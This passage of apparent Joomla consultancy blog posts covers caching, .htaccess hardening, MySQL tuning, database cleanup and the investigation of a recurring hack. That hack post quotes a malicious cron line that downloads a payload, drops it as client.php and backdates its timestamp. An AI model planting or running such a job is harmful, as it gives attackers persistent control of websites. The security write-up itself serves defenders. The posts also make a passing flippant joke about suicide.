		'cachebase'    => ($client_id) ? $platformDirs['admin'] . '/cache' : $conf->get('cache_path', $platformDirs['public'] . '/cache'));

	$cache = JCache::getInstance('callback', $options);
	
	//first delete the cache for this particular article
	if (!empty($id) && !empty($catId)){
		$makeID = $this->myMakeID($id, $catId, $itemId);
		$cache->remove($makeID, 'com_content');
		$cache->remove($makeID, 'mobile-com_content');
	}
	if (!empty($catId)){
		$makeID = $this->myMakeID($catId, NULL, $itemId, 'ContentViewCategory', 'category', NULL, 'blog');
		$cache->remove($makeID, 'com_content');
		$cache->remove($makeID, 'mobile-com_content');
	}
	if (!empty($homeItemId)){
		$makeID = $this->myMakeID(NULL, NULL, $homeItemId, 'ContentViewFeatured', 'featured', NULL, NULL);
		$cache->remove($makeID, 'com_content');
		$cache->remove($makeID, 'mobile-com_content');
	}
	
}

protected function myMakeID($id, $catId, $itemId, $classView = 'ContentViewArticle', $view='article', $format = 'html', $layout = NULL)
{
	$safeuriaddon = new stdClass;
	if (!is_null($catId))
		$safeuriaddon->catid= (int)$catId;
	else
		$safeuriaddon->catid= NULL;
	if (!is_null($id))
		$safeuriaddon->id= (int)$id;
	else
		$safeuriaddon->id= NULL;
		
	$safeuriaddon->cid= NULL;
	$safeuriaddon->year= NULL;
	$safeuriaddon->month= NULL;
	$safeuriaddon->limit= NULL;
	$safeuriaddon->limitstart= NULL;
	$safeuriaddon->showall= NULL;
	$safeuriaddon->return= NULL;
	$safeuriaddon->filter= NULL;
	$safeuriaddon->filter_order= NULL;
	$safeuriaddon->filter_order_Dir= NULL;
	$safeuriaddon->{'filter-search'} = NULL;
	$safeuriaddon->print= NULL;
	$safeuriaddon->lang= NULL;
	$safeuriaddon->Itemid= (int)$itemId;
	$safeuriaddon->format= $format;
	$safeuriaddon->option= 'com_content';
	$safeuriaddon->view= $view;
	$safeuriaddon->layout= $layout;
	$safeuriaddon->tpl= NULL;
	return md5(serialize(array(md5(serialize($safeuriaddon)), $classView, 'display')));
}

Adding the above code to the aforementioned article.php model file will solve the problem, but keep in mind that this is a core modification (which means future updates to the site may wipe out your changes). If you’re not at ease doing this modification yourself then please contact us. We can do it for you in as little time as possible, for a very affordable fee, and with never-seen-before (even on TV during the 1990’s) enthusiasm mixed with a healthy dose of humor!

How to Change the Browser Title on the Homepage of a Joomla Website

Note: This post is aimed at Joomla beginners – make that absolute Joomla beginners! We’ve been writing posts for extremely advanced Joomla developers for a long time now and we thought writing a post for absolute beginners would be the right thing to do on New Year’s Eve (Happy New Year, by the way)!

We get a couple of calls every week from (new) Joomla administrators who want to change the browser title on the homepage of their Joomla website, but they don’t know how, and so we do it for them. Here’s how:

  • We login to the backend of their Joomla website.
  • We click on Menus on the top navigation, and then we click on the menu that has the homepage (the menu with the home picture next to it).

  • Once we’re in the menu that has the homepage (there’s only one home menu), we search for the home menu item. We do this by clicking on the Home header twice (to show the home menu item first). The home menu item is the menu item that has an orange star under the Home header.

  • We then click on the home menu item, and then we click on the Page Display tab.

  • We then change the value of the Browser Page Title to the new title.

  • We click on Save & Close on the top left.

  • We clear the cache by going to System -> Clear Cache, and then clicking on the top checkbox, and finally clicking on the Delete button on the top left.

  • That’s it!

In most cases, the above will solve your problem. But if it doesn’t, then it’s possible that the browser title is controlled by the template or by a 3rd party extension. If this is the case, then please contact us. We will be able to do it for you in very little time and for a very affordable fee!

How to Redirect Your Old Links to Your New Links After Enabling Apache’s URL Rewriting in Joomla

A new client of ours has been using Joomla for a long time (since Joomla 1.5 was introduced), but has never, ever used Apache’s URL Rewriting. She has been using Joomla’s SEF all the time, but she never enabled the Use URL Rewriting feature. She knew that enabling URL rewriting can boost the search engine rankings for her website, but she was afraid to do it for fear of “duplicate content”, and she is right. Here’s why:

A Joomla SEF link, but not a URL rewritten link, looks like the following:

http://www.yourjoomlawebsite.com/index.php/your-link[.html]

The same link with URL rewriting enabled will look like the following:

http://www.yourjoomlawebsite.com/your-link[.html]

As you can see, index.php/ is missing from the second link. But that’s OK, since both links work, right?

Actually wrong, this is exactly why our client (and rightly so) was hesitant to switch to URL Rewriting. She didn’t want to have two working links pointing to the same page, because if she did, her website would suffer from content duplication issue (when it comes to Google’s indexing), not to mention that the strength of the links on her website would be diluted (because, again, she would have 2 links pointing to the same page).

So, how did we solve this problem?

Fortunately, at itoctopus, we have a solution for everything Joomla, and we were able to address her problem by adding the following lines to the .htaccess file (which is located under the root directory of her Joomla website) just below the RewriteEngine On line:

RedirectMatch 301 /index.php/(.*).html /$1.html
RedirectMatch 301 /index.php/(.*) /$1.html

The above lines ensure that any link that has index.php in it will automatically redirect to the new link (that doesn’t have index.php in it). The 301 number in each line ensures that we are passing the link strength (e.g. the link juice) to the new page. Note that the .html at the end of each line should be removed if Adds Suffix to URL is disabled in Joomla’s configuration settings. (In the latter case, the second line will have no effect and must be removed because it’ll be exactly the same as the first line.)

As you can see from the above, it is extremely easy to enable Apache’s URL Rewriting on a Joomla website without losing any rankings provided you add the above 2 lines. But, if you’re one of those Joomla administrators who prefer not to touch that dreadful .htaccess file, then please contact us and we’ll do it for you! Our fees are affordable, our work is professional, and we are the friendliest programmers in the whole wide world!

Joomla Is Making the Same Mistake, Again!

Joomla 1.5, probably the most used Joomla version ever, officially died back in 2012. Back then, many Joomla administrators were faced with a dilemma: Should we migrate our Joomla website(s) to 2.5? Or should we switch to another CMS? The decision was not easy, because in many cases, the costs of migrating to Joomla 2.5 were more or less the same as those of switching to a completely different CMS. Unfortunately, those administrators didn’t have the option of simply continuing to use Joomla 1.5.26, because a nasty security exploit was discovered nearly 1 week after Joomla 1.5.26’s life ended, and so they had to choose between the lesser of two evils, and for many of them, the lesser of two evils was switching to another CMS. Needless to say, Joomla’s competitors gained many new converts at Joomla’s expense.

In our opinion, had Joomla created a “one-click” migration script to migrate sites from Joomla 1.5 to Joomla 2.5, the whole world would’ve been a better place (well, not the whole world, but most of it!). Instead, Joomla took an extremely passive stance and it didn’t even release a single official tool for any type of migration from 1.5 to 2.5 – Joomla didn’t even create a tool to migrate core content (such as articles, categories, and menu items), the only thing that Joomla did to address this issue was to point its users to 3rd party tools that required some considerable voodoo skills for them to work as they should. The migration process from 1.5 to 2.5 left a very sour taste in the mouth of everyone who used Joomla…

Fast forward to now, and Joomla is repeating the exact same mistake of 2012. Joomla 2.5’s support will end by the end of this month (December 2014) and there are no real automated tools to migrate from Joomla 2.5 to Joomla 3.3. Yes, Joomla insists that it’s a mini-migration from 2.5 to 3.3 and that it is extremely easy and that it takes a few minutes, but, the truth, it is not. In fact, it is far from being a mini-migration (it is a real migration), and it takes more or less the same time to migrate from Joomla 1.5 to Joomla 2.5. Let us give you an example…

At itoctopus, we only use our tools to migrate from one version of Joomla to another (note that we modify the code of these tools for each website that we migrate), but, we got a very small website (less than 100 pages and a couple of well-supported 3rd party extensions) to migrate this past week, and so we thought we can just do the migration by following Joomla’s guide, and so we did. Here’s what we saw when we finished the 5 minute migration…

Table ‘#__postinstall_messages’ doesn’t exist SQL=SHOW FULL COLUMNS FROM `#__postinstall_messages`

Hmmm…. The table #__postinstall_messages wasn’t created. Odd. So we created it manually in phpMyAdmin. We thought that would fix the problem, but when we refreshed the homepage, here’s what we saw:

Notice: Undefined property: ContentController::$input in /home/[username]/public_html/administrator/components/com_content/controller.php on line 39

Fatal error: Call to a member function get() on a non-object in /home/[username]/public_html/administrator/components/com_content/controller.php on line 39

Not a problem. We deleted the controller.php file, but then we got another error…

Fatal error: Call to undefined method JFactory::getXMLParser() in /plugins/system/nonumberelements/helpers/parameters.php on line 93

OK. That is a 3rd party extension – let’s just disable it and see if the website works…

A quick refresh threw another error in our faces…

500 – JHtmlBehavior::mootools not found.

While becoming a bit frustrated, we fixed the above problem by including MooTools the Joomla 3.3 way in the template.

Refreshing the homepage generated another error that had to do with a specific extension, so we thought, we can just update that extension from Joomla’s backend (we were able to login to the backend).

Unfortunately, when we clicked on the Updates are available link (located on the left side-panel under the Maintenance section on the homepage of Joomla’s backend) we got the following error:

Unknown column ‘a.extra_query’ in ‘field list’ SQL=SELECT DISTINCT a.update_site_id, a.type, a.location, a.last_check_timestamp, a.extra_query FROM #__update_sites AS a WHERE a.enabled = 1

And so we tried to fix the database by clicking on the Fix button on the upper left corner on the Extensions -> Extension Manager -> Database page, but we got the following error:

Unknown column ‘title_alias’ in ‘#__content’ SQL=ALTER TABLE `#__content` CHANGE `title_alias` `title_alias` VARCHAR( 255 ) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL DEFAULT ”;

At this point, we started browsing the Internet for the best practices for committing suicide painlessly and professionally. But then we thought, while we really wanted to go through this migration the Joomla way, our lives, sanity, and families are much more important, and so we reverted the website to a previous backup, we re-did the migration our way, and this time we were actually able to finish it successfully.

And then we started thinking, we are established Joomla experts and we failed at making the built-in migration work for us when migrating a very, very simple Joomla website. So what about those who are trying to migrate from 2.5 to 3.3 and who are not experts? How will they be able to migrate their sites by themselves? And what if they can’t afford to pay us or other Joomla developers to migrate their sites? Will they stick with Joomla if they can’t? Or will they not?

Obviously, Joomla users are once again at a crossroad, they will either continue with Joomla, or they won’t, and probably only those who are extremely loyal to Joomla will choose the former option, because many Joomla users were burnt back in 2012, and they are less likely to be willing to get burnt a couple of years later, and a couple of years later, and a couple of year later…

So, what can Joomla do?

In order to prevent a massive and continuous hemorrhage of users, Joomla must create a migration tool that actually works, instead of this not even half-baked solution that Joomla has (e.g. by switching from LTS to STS and then updating the website). Failing that, Joomla’s userbase will substantially shrink in 2015-2016, possibly never returning to its 2014 levels anytime in the near or distant future…

Now, if you are trying to migrate your Joomla website but it’s not working out well for you, then please let us know. We will do the migration for you in as little time as possible and for a very affordable price. Oh, and we will ensure that the frontend of the migrated website will look and work exactly like your old website!

Creating New Articles on Your Joomla Website Is Taking a Long Time? Clean Your Assets Table!

We’re not big fans of the #__assets table, but you probably know this already if you’re one of our loyal readers! The #__assets table makes everything on the website slower, and not to mention that minor data integrity issues on that table can lead to large problems on the Joomla website.

But let’s focus in this post on the performance issues caused by the #__assets table, and what to do about them. In short, when you add a new content entry (an article, a category, a module, etc…), Joomla has to update a large chunk of the rows in the #__assets table to insert the new row, which will increase the load on the server. So, the more rows you have in your #__assets table, the more time you’ll have to wait when you save a new article.

If you want proof that the #__assets table is the bottleneck, then here’s an example from the MySQL Slow Query Log from one of the websites that we manage:

# Time: 141212 12:57:49
# User@Host: database-user[database-name] @ localhost [] Id: 282378
# Query_time: 5.492695 Lock_time: 0.000000 Rows_sent: 0 Rows_examined: 2303
use database-name;
SET timestamp=1418252269;
UPDATE #__assets
SET lft = lft + 2
WHERE lft > 648;

The query above took nearly 5.5 seconds and it happened when our client added a new article to their website. That client usually adds about 70 articles/day – which means that they have 70 of these slow queries every day. And it gets worse, since the larger the table is, the more time these queries will take and the more the load there will be on the server (the 5.5 seconds occurred on a table that only had 2,300 rows – imagine what would have happened if that table had 100 times that number of rows – content managers will have to wait 10 minutes after clicking that “Save” button!).

So, what do about this?

Well, the solution is simpler than you can possibly imagine. All you need to do is to regularly delete those rows (in the #__assets table) that are created by adding new articles! This can be done by executing the following query in phpMyAdmin (make sure you backup your database before executing the below query and also make sure you optimize the table after executing the query):

DELETE FROM #__assets WHERE `name` LIKE '%com_content.article.%';

We know, you probably think that we have gone insane and that we’re trying to destroy your website, but this is not the case. These entries have no purpose whatsoever and they are not needed for your website to work. You can really delete them, and once you do, you will notice a substantial drop in your server’s load during working hours and your new articles will save instantly.

Now, you may be wondering, will there be any side effects?

We regularly clean the #__assets table of our major clients, and so far, we haven’t seen a single glitch caused by it. But, if you’re afraid to do the above yourself, then a good idea would be to contact us, we’ll do it for you in no time (we’ll also create a cron job to automatically clean the #__assets table for you at regular intervals) and for a very affordable fee!

“index.php” Should Be the Only Accessible File on Your Joomla Website

Here’s how the majority of malicious users try to hack your beloved Joomla website:

  • They search for an exploit on your Joomla website.
  • They use that exploit to upload a PHP file to your website.

  • They invoke the URL pointing to that file, and by doing so, they create duplicates of the malicious file, hack your website, or send spam.

So, if they upload a file called cms.php, then all they need to do is to go to http://www.yourjoomlawebsite.com/cms.php and it’s over: your website either becomes labelled as a “compromised website” by Google or you will receive the dreaded email from your host telling you that your Joomla website is sending spam and you have 24 hours to address the problem or it will be shut down! At best, your website becomes an incubator of malicious files that will be used by any wannabe malicious user out there.

Fortunately, there’s a simple solution that will address this problem: block all access to all PHP files with the exception of the index.php file: your visitors, and even your administrators, only need access to the index.php file to be able to visit/manage your website. They should never need direct access to any other file on your server.

So, how to only allow access to the index.php file?

This can be done easily by adding the following code to the very beginning of your .htaccess file:

<Files *.php>
	Deny from all
</Files>
<Files index.php>
	Allow from all
</Files>

Once you implement the above, even if the malicious user was able to upload the cms.php file to your Joomla website through a vulnerability, he will not be able to execute it (he will be redirected to http://www.yourjoomlawebsite.com/403.shtml page), which means that he just can’t do anything with the file that was uploaded.

But how will administrators be still able to login?

If you have read our post from the beginning (yes, some people still do that instead of just jumping to the solution), you will see that we said that this trick also works for administrators. But, as you (probably) know, administrators use another index.php, which is the one located under the administrator folder. Luckily, the .htaccess rules are recursive, which means that any index.php file in any directory (and sub-directory) will still work, including the one located under administrator folder. Now, although this is convenient, it creates another problem: what if the attacker uploads a file called index.php, under, let’s say, the media folder? “Obviously, this solution is not bullet proof!”, you might be wondering…

You’re right, it is not bullet proof! It does block the majority of the hacks, but an experienced saboteur can still upload an index.php file instead of a cms.php file and he’ll gain control over your website. To address this problem, you will need to completely deny PHP execution in all the Joomla folders by creating, under each and every folder (with the exception of the administrator folder), an .htaccess file with the following content:

<Files *.php>
	Deny from all
</Files>

This will block the execution of all PHP scripts within those folders, even if they are named index.php. Since we will need to be able to execute the index.php file under the administrator folder to allow for backend access, we can’t add that .htaccess file there, but we will need to add it under all the directories located under the administrator folder.

So, will this solution guarantee the security of my Joomla website?

No – it won’t. Certain exploits will allow malicious users to modify core Joomla PHP files (including the index.php file), so the solution is not a silver bullet. It’s not worthless though, and we think it’s a must, as it is a first level barrier against attacks and will greatly increase the security of your Joomla website.

But what if an extension needs direct access to another PHP file?

There are a few extensions out there that require direct access to a PHP file other than the index.php file (unfortunately, some of these extensions are major extensions). While this is not a good practice (and a sign of bad Joomla programming), you can also create another rule in your .htaccess file to allow the file(s) required by these extensions to work properly.

We are confident that implementing the security tips in this post will greatly enhance the security of your Joomla website (we think that all Joomla websites should only allow the index.php file to be executed). If you need help with the implementation, then please contact us, we are always here to help, our fees are affordable, our work is very clean, and we treat all the websites we work on as if they were ours!

Two Quick Solutions to the Lock Tables Problem in Joomla

Note: The second solution presented in this post is a core change. Keep in mind that if you change the core of your Joomla website, you may need to re-apply your changes after a Joomla update. Also keep in mind that this particular core change may compromise the stability of your website (especially if your website has an above normal rate of write activities).

We are getting an increasing number of clients calling in and telling us that they are seeing the following error when adding/editing items (such as content, categories, menu items, etc…) to Joomla:

1044 Access denied for user ‘[user]’ to database ‘[database]’ SQL=LOCK TABLES `[table]` WRITE

For some clients, the problem is persistent (happens all the time), for some other clients, it is occasional. However, it is always annoying.

So, why does this problem happen?

In short, the problem happens because of the #__assets table: when you add an item to Joomla, Joomla adds a reference to that item in the #__assets table. Generally, adding an entry to the #__assets table results in having a large number of rows (in the #__assets table) being updated because of the lft and the rgt fields (we are not going to go into the technicalities here, but you can just blame the lft and the rgt fields). In order to maintain data integrity, Joomla acquires a lock on the #__assets table using the LOCK TABLES SQL statement (keep in mind that sometimes adding an entry to the #__assets table can take several seconds, so imagine what will happen if another entry is to be added at the same time without locking the table: a complete corruption of the table!)

But why should this be a problem?

You’re right. It shouldn’t be a problem. But it becomes a problem if the MySQL user that you’re using doesn’t have the necessary privileges to lock tables. In order to address this problem, then you will need to grant that user the LOCK TABLES privilege (you can do that either from the cPanel interface or from the MySQL client when logged in as root).

If you’re running in a restricted environment and you don’t have control over the database users’ privileges, then you will need to comment out the code responsible for locking the #__assets table (warning: this can lead to disastrous effects if you have more than one person working on the website). This can be done by opening the file nested.php located under the libraries/joomla/table folder and removing the following code:

// Lock the table for writing.
if (!$this->_lock())
{
	return false;
}

You will then need to upload the file back. This will solve the problem, but, as stated in the beginning of this post, this is a core change so you will need to be extremely careful. Despite the easiness of this solution, you should always opt for the first solution.

If you’re seeing the above error when trying to add an item to your Joomla website, then try implementing the first solution first. If all else fails and you are becoming increasingly desperate then go for the second solution (keep in mind that the latter solution can corrupt your #__assets table, so it’s not recommended to apply it in a production environment). If you need help with the implementation, then please contact us. We are eager to help, we know our Joomla, we don’t charge much, and we are the friendliest programmers in our Solar System.

Joomla Displays Mobile Version of the Content for Desktop Visitors – How to Fix

“Joomla’s caching will come back to haunt you.” – itoctopus, Joomla experts, circa 2014

Note: The solution to this problem requires a modification to a core file, which means that future Joomla updates will wipe out the solution. Be careful and vigilant when you update your website if you have modified core files.

One of our very large clients had a recurring problem: the layouts of the mobile and the desktop version of the site were getting mixed up. In other words, a user visiting the website through his mobile device would see the desktop version of the site, and a user visiting the website using a laptop would see the mobile version. Of course, this wasn’t happening all the time, but it was happening, and it was annoying and making the whole website look unprofessional.

Why was the problem happening?

The problem was happening because of Joomla’s cache, and we’re not talking about the System – cache plugin (which was disabled for that particular website), but we’re talking about the global Joomla cache that is set in the configuration settings (which is enabled by logging in to the backend, and then going to System -> Global Configuration in the backend of the Joomla website, and then clicking on the System tab on the top, and finally setting the Cache value under Cache Settings to On – Conservative caching). But why was caching the cause of the problem?

Well, when a person was visiting a page with a mobile device and the content on that page was not yet cached, then Joomla will cache the mobile version of the content, which was using a completely different template. When a subsequent visitor visits that same page using a laptop, then the cache for the content of that Joomla page will not be re-created (Joomla does not distinguish between mobile and desktop traffic when it comes to caching), and Joomla will serve the cached version of that content, which is the mobile version. As you can see, we never used the term “Page Caching” because pages were not cached (since the System – Cache plugin was disabled), what was cached was the content (content will be automatically cached if caching is enabled at the global level).

So, how did we solve the problem?

We had 3 options to solve the problem:

  1. Completely disable caching.
  2. Disable content caching.

  3. Modify Joomla’s caching to make it distinguish between mobile and desktop traffic.

Option #1 was completely out of the question, because the traffic that the website was getting was substantial, and completely disabling caching will definitely crash the website within a few minutes. So, we experimented with option #2, and we disabled content caching as explained here. However, soon after we did that, load started increasing exponentially and the website was bound to crash, and so we reverted our change and re-enabled content caching. This meant that we were only left with one option: Modifying Joomla’s own cache.

Now, if you have been developing for Joomla for a long time, you will probably know that Joomla’s cache is very delicate and very complex. We literally spent a couple of days until we figured out the solution. Here’s what we did to solve the problem:

  • We opened the file storage.php located under the libraries/joomla/cache folder.
  • We added the following code at the beginning of the _getCacheId function:

    $isMobile = false;
    $arrMobileAgent = array('Android', 'BlackBerry', 'Googlebot-Mobile', 'iPhone', 'iPod', 'mobi', 'mobile', 'Opera Mini', 'Safari Mobile', 'Windows Mobile');
    foreach ($arrMobileAgent as $mobileAgent) {
    	if (preg_match("/$mobileAgent/i",$_SERVER['HTTP_USER_AGENT'])) {
    		$isMobile = true;;
    	}
    }
    $appendMobile = '';
    if ($isMobile == true){
    	$appendMobile = 'mobile-';
    }

  • We then changed, in the same function, the following line:

    return $this->_hash . '-cache-' . $group . '-' . $name;

    to this one:

    return $this->_hash . '-cache-' . $appendMobile. $group . '-' . $name;

  • We uploaded the file back.

  • The problem was solved!

The above code, in case you’re curious, will generate a different cache for the mobile version of the site, which means that fixing the problem did not entail us to disable caching for the mobile version of the site, which was ideal!

If you want to make sure that the above method is working, then run the following command in ssh under the cache folder after visiting the website with a mobile device:

find . -type f -name "*-mobile-*" | wc -l

If you get a number that is bigger than 1, then this means that the method is working. If that’s not the case, then you probably have modified the wrong file or you are visiting the website with an unrecognized mobile device (in the latter case, you will need to check the user agent of that device and add it to the $arrMobileAgent array).

Now, here are some FAQs about our solution.

  • Will it work with K2?

    Yes – it will, since K2 uses Joomla’s cache and doesn’t have its own cache.

  • Is it template-dependent?

    No. It’ll work with any template.

  • Which versions of Joomla is it compatible with?

    The solution is compatible with Joomla 2.5.x and Joomla 3.x (as of November 24th, 2014).

  • The above solution can’t work for us since we’re using the same URL for the mobile and the desktop version, and Joomla caches content by URL. Right?

    Actually, wrong. There is a myth that Joomla caches content by URL but it’s not true. Joomla caches content by content ID, and since we’re appending -mobile to the mobile version of the content, then you needn’t worry; the above solution will work for you! In fact, the website in question that we fixed the problem for was using the same URL for mobile and desktop traffic.

If you have further questions, or if you want to implement the above solution, but you’re a bit scared of modifying a core Joomla file, then please contact us and we’ll do it for you. Please note that our super affordable fees apply.

MySQL Must Be Able to Auto-optimize Itself

Note: The below is a rant – we just wanted to let you know beforehand in case you’re not in the mood for a rant on a Friday afternoon.

One of the things that we do when optimizing a large Joomla website is tweaking MySQL’s settings in the my.cnf configuration file (this file is typically located under the /etc folder of the server). The most important globals that we tweak in that file are tmp_table_size, max_heap_table_size, key_buffer_size, and myisam_sort_buffer_size.

Every time we do these tweaks, we can’t help but wonder how come MySQL doesn’t automatically guess what the optimal settings should be depending on the usage and automatically set them (or at least recommend them – by the way, and for the records, phpMyAdmin does make some recommendations, but these recommendations are often ambiguous especially for those with a humble MySQL experience).

For example, the key_buffer_size can be calculated by issuing the following command in the Linux shell (as root):

du -sch /var/lib/mysql/*/*.MYI | grep "total"

The key_buffer_size should be slightly above the total number calculated from the above command (it’s 396M on the server that we are currently working on).

How come MySQL doesn’t automatically configure (or, again, recommend) the exact number? Of course, this issue is not only about the key_buffer_size, but it is also about nearly every global setting in the my.cnf file. We know that MySQL is able to determine the right settings much more accurately than a programmer/system administrator who reaches the right (but never the ideal) combination through the tricky path of trials and errors.

The first thing any programmer learns is to progressively make things easier for the other programmers. While MySQL is an excellent database, it has a lot of potential to make many things easier for all the system administrators (and the programmers) in the world, but, for some reason, it stops short of that.

We have no idea why they do that. If they’re afraid that companies will go after them if their websites fail because of the automatic (or the recommended) settings then they’re wrong and they know that. Many products out there have recommended settings (even cars have automatic/recommended settings – and cars mean lives – literally) and they’re not afraid of a customer backlash if an automatic/recommended setting fail. We’re just not sure why. But what we are sure of is that MySQL is able to know what the optimal settings should be for each server based on the usage.

If you’re looking into optimizing the MySQL server for your Joomla website, then please contact us. We have optimized the MySQL database server for many large sites and we are definitely able to optimize yours. Please note that our super affordable fees apply!

How to Optimize Joomla’s Session Table

Note: Please read the whole post before taking any action. There is some important information at the end.

If you check your Joomla site’s MySQL slow query log occasionally, you will notice that it is full of queries there are related to the #__session table (INSERTs, UPDATEs, DELETEs). This is because Joomla updates the #__session table on every page view. In fact, the most active table (write-wise) on a Joomla website is the #__session table.

Of course, if you’re using MyISAM as your database engine, then any update to the table will mean that the whole table will be locked (that’s one of MyISAM‘s drawbacks), which means that any update will have to wait until the previous update is done. On high traffic sites, this can be a big problem because it can lead to an avalanche of queries waiting to be executed, which can ultimately crash the server.

While InnoDB doesn’t lock the whole table on updates, it does also suffer from performance issues on tables with a high write rate. As such, updates to the #__session table, even when using InnoDB, can end in the MySQL slow query log.

So, what is the solution to the problem?

The solution to the #__session problem is easy: using the Memory storage engine. The Memory storage engine stores the data of the table using it in the RAM (with the exception of the table’s structure, which is always stored on the physical hard disk). This means that any queries to the #__session table will be super fast because RAM is much, much faster than hard disk (even SSD hard disks). On the flip side, this also means that restarting MySQL will automatically wipe out the content of a MEMORY table, but this is a non-issue for the #__session table because in a worst case scenario (when the table’s contents are lost), those who are logged in to the website will be logged out (temporary user preferences will also be lost, but this is a non-issue as well).

Now the question is, how to change the #__session table’s engine from MyISAM or InnoDB to MEMORY? Well, it’s delicate, but not hard…

First of all you will need to change the type of the data field in the #__session table from MEDIUMTEXT to VARCHAR. But, before doing that you will need to run the following query (in phpMyAdmin) on the #__session table:

SELECT MAX(LENGTH(`data`)) FROM `#__session` WHERE 1

The above query will return the maximum length of the data field in the #__session table. If you get something like 4,023 , then you will need to set the size of the VARCHAR to almost double that number, something like 8,192 (which is 213).

Once you change the type of the data field, you will then need to truncate the #__session table, and then you will need to change the engine of the #__session to MyISAM if it’s InnoDB (note that, for some reason, the latter step is necessary on some servers, and that’s why we have mentioned it).

Once the table’s engine is changed to MyISAM, you will then have to change it MEMORY (this can be done by clicking on the table name in phpMyAdmin, and then clicking on Operations on the top, and then finally choosing MEMORY as storage engine).

Now, the first time we optimized the #__session table by following the above guide, the website ran smoothly for about 30 minutes, and then it showed a blank page. It turned out that the #__session table became full because the RAM assigned to MySQL’s temporary tables was exhausted. Here’s how we fixed the problem:

  • We logged in through ssh to the server.
  • We opened the file /etc/my.cnf (which is the MySQL‘s configuration file).

  • We changed the values of tmp_table_size and max_heap_table_size to 1024M (these two settings must be identical because MySQL will use the lesser of the two).

  • We restarted MySQL and everything was OK.

Changing the engine of the #__session table to MEMORY will certainly have a huge positive effect on your site’s performance (and will substantially reduce the size of the MySQL slow query log on your server). Doing it can be a bit tricky though, but, as usual, we’re here to help in case you need help. All you need to do is to contact us and we’ll take care of the rest. Oh, and by the way, our fees are super affordable and we are very, very friendly!

Fixing an Elusive Joomla Hack

For the past month (yes, month!) we have been working on the security of a major website that suffered from a substantial hack. We were able to mostly secure the website, but still, there was a leak somewhere and we didn’t know where.

The “leak” consisted of a malicious file called client.php that was created out of nowhere under the libraries/joomla/client folder. The name of the file was treacherous, and so was its creation date. The name client.php inferred that it’s a benign file, and the date of the file was set to be April, 5th, 2010 (4.5 years ago). So, how did we find out that it was malicious? Well, by scanning the Joomla site with a custom script that checks each file for malicious code.

The first time we deleted the file we thought that it’ll go away, forever (because we secured the site). The second time we thought that it was a compromised SFTP account on the server, but the third time, we started having doubts on whether we really cleaned the site or not.

We did everything to prevent the file from being created, but it was still being created, and not a single log anywhere on the server told us how the file was created. We spent weeks examining Apache logs, FTP logs, and other server logs, but we couldn’t find the root cause of the problem. Eventually, we became so frustrated that we created a mechanism that will block the web execution of any PHP file on the Joomla website with the exception of the index.php file located under the root directory of the website, and the index.php located under the administrator directory. We did that through .htaccess files, either by denying all access to specific directories (such as the libraries and the includes directories), or by denying access to php files for those directories that have some files that must be read by the web browser (such as the images, the media, and the templates directories). We thought by doing that we will block the execution of the client.php file, and we were right, but our strategy did not block the re-creation of the file every few days.

For the first time, we were inclined to accept the situation as something that we can’t do anything about (after all, the file was harmless after the security work that we did) but deep down inside we knew we couldn’t. Not only because we don’t like to lose to hackers, but because we felt that if a malicious user was able to upload a file without us knowing how, then it won’t be hard for him to modify an existing Joomla file and actually hack the website.

This morning, however, everything changed to the better. Around 2 AM in the morning while migrating a Joomla website for that very same client, we noticed that the file was re-created. Immediately, we issued a stat command on the file while in the Linux shell:

stat /home/[userid]/public_html/libraries/joomla/client/client.php
File: '/home/[userid]/public_html/libraries/joomla/client/client.php'
Size: 42982 Blocks: 88 IO Block: 4096 regular file
Device: 808h/2056d Inode: 24051713 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 503/[userid]) Gid: ( 503/[userid])
Access: 2014-11-12 02:30:52.000000000 -0500
Modify: 2010-04-05 21:00:00.000000000 -0400
Change: 2014-11-11 23:00:02.000000000 -0500

Of course, the modify date is certain to be fake, but the other dates, Change and Access, seemed to be genuine. So, we checked the logs during the specific Access and Change times, thinking that we will immediately find the cause of this issue. Unfortunately, we were disappointed for the 100th time – however, a lightning bolt struck us (well, not literally, although it’s possible for this to happen in Montreal) and we checked the cron jobs for the affected website (in cPanel), and here’s what we found:

0 23 * * 0,2 rm -f $TMP_DIR/w.gz ; wget -q -O $TMP_DIR/w.gz $DOWNLOAD_URL && gunzip -c $TMP_DIR/w.gz > $TMP_DIR/w.txt && cp -f $TMP_DIR/w.txt $LOCAL_FILE_PATH && touch -c -t 201004052100 $LOCAL_FILE_PATH && rm -f $TMP_DIR/w.gz

Aha and double Aha! There was a cron job that was using a file under the /var/tmp directory on the server to create the malicious file every Sunday and Tuesday evening. Immediately, we deleted the cron job and we removed the malicious files from the /var/tmp directory (of course, we also removed the client.php file).

It was an extremely stressful experience but we emerged victorious (albeit very, very tired)!

If your Joomla website is continuously hacked, then take a quick look at your cron jobs, maybe the problem is there. If you’re not a technical person, then please contact us and we’ll be very glad to help. Our prices are affordable, our work is professional, and we are, by far, the friendliest programmers on this planet!

Root Must Be the Only Asset with No Parent

Note: We probably should have called this post “You Do Not Have Access to the Administrator Section of This Site” Error When Trying to Login to Joomla’s Frontend, but we went with the current title because we thought it was shorter, catchier, and much more original…

The #__assets table in a Joomla database is not the best thing since sliced bread. In fact, we think it should be gone as previously mentioned here, and one of the reasons it should be gone, besides all the performance problems it causes, is the instability associated with it. Let us give you a very recent example of an instability caused by the assets table…

This afternoon, around 1:00 PM EST, a new client called us and told us that he was seeing the following error when trying to login to the frontend of his Joomla website: “You do not have access to the administrator section of this site”. Now, we have discussed this issue before, but in a context where the user was trying to login to the backend of the site, and not to the frontend.

We started investigating the problem, jumping through hoops from one file to another, slowly but surely confirming that the problem was in the #__assets table, until we finally reached the file tablenested.php which is located under the libraries/joomla/database folder. In that file, there is a function called getRootId being called when authenticating the user. The function just queries the #__assets table for all the entries that have no parents. If you are experienced with Joomla’s internals, you will know that Root is the only entry in the #__assets table that shouldn’t have a parent. Apparently, the function getRootId knows this as well and tries to enforce it (we think it’s the wrong place to enforce this), and so if the query returns more than 1 result, then the authentication will fail. Unfortunately, in our case, the query returned about 15 rows (and that’s why the authentication wasn’t working). So, we looked at the database and it turned out that one lousy extension called com_booking created 14 rows with no parents. We addressed this problem by manually updating each of these rows to have Root as parent (e.g. we updated the parent field for these rows to be 1).

It took us nearly 3 hours to solve this nasty problem, and we could have easily modified a core file to fix it in 15 minutes. But we wanted to do a clean job, and we believe that we did do a clean job!

